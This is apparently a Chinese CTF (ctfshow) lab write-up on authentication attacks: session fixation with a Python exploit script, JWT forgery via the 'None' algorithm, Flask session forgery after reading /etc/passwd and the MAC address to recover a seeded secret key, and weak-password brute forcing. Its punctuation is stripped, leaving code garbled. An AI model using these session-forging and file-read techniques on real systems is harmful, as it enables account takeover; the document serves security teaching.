渗透测试基础ctfshow——Web应用安全与防护(四)

张开发
2026/4/14 2:42:16 15 分钟阅读

分享文章

渗透测试基础ctfshow——Web应用安全与防护(四)
本文围绕身份认证领域常见漏洞展开分析涵盖 Session 固定攻击、JWT 令牌伪造、Flask Session 伪造及弱口令爆破四类典型场景。结合原理讲解、代码实例与绕过方法系统阐述攻击流程与防御策略内容兼顾理论深度与实操价值适用于安全技术学习与渗透测试场景参考。文章目录Session固定攻击绕过方法代码解释JWT令牌伪造JWT介绍jwt 的漏洞介绍绕过方法Flask_Session伪造原理讲解绕过方法弱口令爆破总结Session固定攻击适合纯新手入门使用难度极低。打开页面如下可以得到信息默认用户test/testflag在admin用户页面这里先登录进入看看有哪些信息发现输入账号密码后会直接重定向到当前页面并没有另开一个页面pageWelcome test应该就是代表进入了页面那就抓包试试查看下一个响应包发现了我们之前登陆没有发现的信息session- 默认未登录页面为guest - test用户登陆页面为test - admin用户登陆?绕过方法这里我们再点击页面的Send Message to Admin可以看到需要我们输入session参数输入内容成功发送这里我们尝试刷新一下页面发现直接以admin用户登陆了是不是有点不理解代码解释代码如下importrequestsfrombs4importBeautifulSoup BASEhttp://localhost:5055# 1. 攻击者用test/test登录获得sessionidsessrequests.Session()sess.get(BASE/login)respsess.post(BASE/login,data{username:test,password:test})sessionidsess.cookies.get(session)print([*] Got sessionid:,sessionid)# 2. 发送站内信附带sessionidmsghello adminsess.post(BASE/message,data{msg:msg,sessionid:sessionid})print([*] Sent message to admin with sessionid)# 3. 等待admin_bot处理可sleep几秒importtime time.sleep(11)# 4. 用同样的sessionid访问首页应该已变为admin权限sess2requests.Session()sess2.cookies.set(session,sessionid)respsess2.get(BASE/)soupBeautifulSoup(resp.text,html.parser)flagsoup.find(h3)ifflag:print([] FLAG:,flag.text)else:print([-] Exploit failed)print(resp.text)原因因为网站登录后没有更换sessionid你用test拿到的sessionid被管理员登录后绑定成了admin权限你再用这个sessionid访问就直接变成管理员了。这里应该是后台存在相应的admin执行功能# 3. 等待admin_bot处理可sleep几秒importtimetime.sleep(11)...所以才会以造成该漏洞JWT令牌伪造适合纯新手入门使用难度极低。同理打开页面如下JWT介绍这里我们简单介绍一下什么是JWTJWT是RFC 7519标准定义的无状态、自包含的JSON Web令牌核心是通过数字签名保证信息安全传输常用于前后端分离的身份认证与跨域授权。结构由Header头部算法/类型、Payload载荷用户信息/声明、Signature签名防篡改三部分组成以.分隔。原理服务端验签验证签名/有效期即可确认身份无需存储会话状态适配分布式系统。特点跨域友好、自包含少查数据库但Payload仅编码不加密禁存敏感信息且无法主动撤销过期前的令牌。jwt 的漏洞介绍开发人员为了方便调试将算法设置为None也就是Signature为空可以越权查看绕过方法这里我们随便输入看看有什么可用信息我们也可以获取到相应的字段tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwiYWRtaW4iOmZhbHNlfQ.40TaB0UKi8ecEYS8-lI7APIgBx5GFlTJ4crK4v33ML8也就是HeaderpayloadSignature这三部分对第一部分进行解码随后修改为None再重新编码替换后再对第二部分进行修改修改如下进行替换成功进行绕过Flask_Session伪造适合纯新手入门使用难度极低。打开页面点击超链接跳转到read?urlhttps://baidu.com这里就跳转到百度的页面随后抓包查看发现session原理讲解Session 用于让无状态的 HTTP 协议记住用户状态实现登录等需要身份保持的功能Flask Session 支持客户端 Cookie 存储和服务端Redis/MySQL 等存储两种方式Flask 默认将 Session 存在客户端 Cookie中存在安全风险例子如下# 具体的sesion格式与上一关一样eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0 session数据 时间戳 签名第一部分核心flask session是利用hmac算法将session数据时间戳加上secert_key成的;那么我们要进行session伪造就要先得到secret_key当我们得到secret_key我们就可以很轻松的进行session伪造。绕过方法1既然通过url参数返回了百度的页面 猜测存在任意文件读取所以这里测试一下尝试读取文件/etc/passwd2我们接着进行测试查看当前正在运行的进程是什么/proc/self/cmdline3这里知道是python的后台源码在app.py里面尝试读取源码成功得到源码# encoding:utf-8importreimportrandomimportuuidimporturllib.requestfromflaskimportFlask,session,request appFlask(__name__)random.seed(uuid.getnode())app.config[SECRET_KEY]str(random.random()*100)print(app.config[SECRET_KEY])app.debugFalseapp.route(/)defindex():session[username]guestreturnCTFshow 网页爬虫系统 a href/read?urlhttps://baidu.com读取网页/aapp.route(/read)defread():try:urlrequest.args.get(url)ifre.findall(flag,url,re.IGNORECASE):return禁止访问resurllib.request.urlopen(url)returnres.read().decode(utf-8,errorsignore)exceptExceptionasex:print(str(ex))return无读取内容可以展示app.route(/flag)defflag():ifsession.get(username)admin:returnopen(/flag.txt,encodingutf-8).read()else:return访问受限if__name____main__:app.run(debugFalse,host0.0.0.0)这里对第一部分解码我们可以知道当前是guest用户而代码要求需要get(username) admin4随后我们需要伪造得到secret_key在代码里我们也可以得到相应的构造过程appFlask(__name__)random.seed(uuid.getnode())app.config[SECRET_KEY]str(random.random()*100)print(app.config[SECRET_KEY])由于andom指定了seed那么生成的随机数是固定的编写一个代码得到相应结果importrequestsimportuuidimportrandomimportos urlhttp://631fc2b5-33eb-44cb-9148-571d481cdac4.challenge.ctf.show/def get_randStr(): responserequests.get(url read?urlfile:///sys/class/net/eth0/address)macresponse.text.strip()tempmac.split(:)temp[int(i,16)foriintemp]temp[bin(i).replace(0b,).zfill(8)foriintemp]temp.join(temp)macint(temp,2)random.seed(mac)randStrstr(random.random()*100)returnrandStrif__name____main__:randStrget_randStr()print(Random String:, randStr)得到结果54.6224715986419445接下来就可以进行session伪造了首先修改guest为admin随后修改时间戳session伪造工具https://github.com/noraj/flask-session-cookie-manager执行代码python flask_session_cookie_manager3.py encode-t{username:admin}-s54.622471598641944# 得到结果C:\Users\Leco\Desktop\flask-session-cookie-manager-masterpython flask_session_cookie_manager3.py encode-t{username:admin}-s54.622471598641944eyJ1c2VybmFtZSI6ImFkbWluIn0.adxaug.q1JUIKHmyHG2m-XZ72hmy9fYgAM随后进行替换在浏览器开发者工具F12→「应用」→「Cookie」→ 找到当前网站的 session Cookie把值替换为上面生成的伪造new_session刷新页面访问/flag即可拿到 flag弱口令爆破适合纯新手入门使用难度极低。访问页面同时还有一个pass.dic文件应该是爆破字典这里随便抓包然后爆破即可这里设置好参数后成功得到结果具体操作Yakit如何进行弱口令爆破usernameadminpassword834100总结本篇文章主要是有两个新知识点JWT令牌伪造Flask_Session伪造其他的难度不大。期待下次再见

更多文章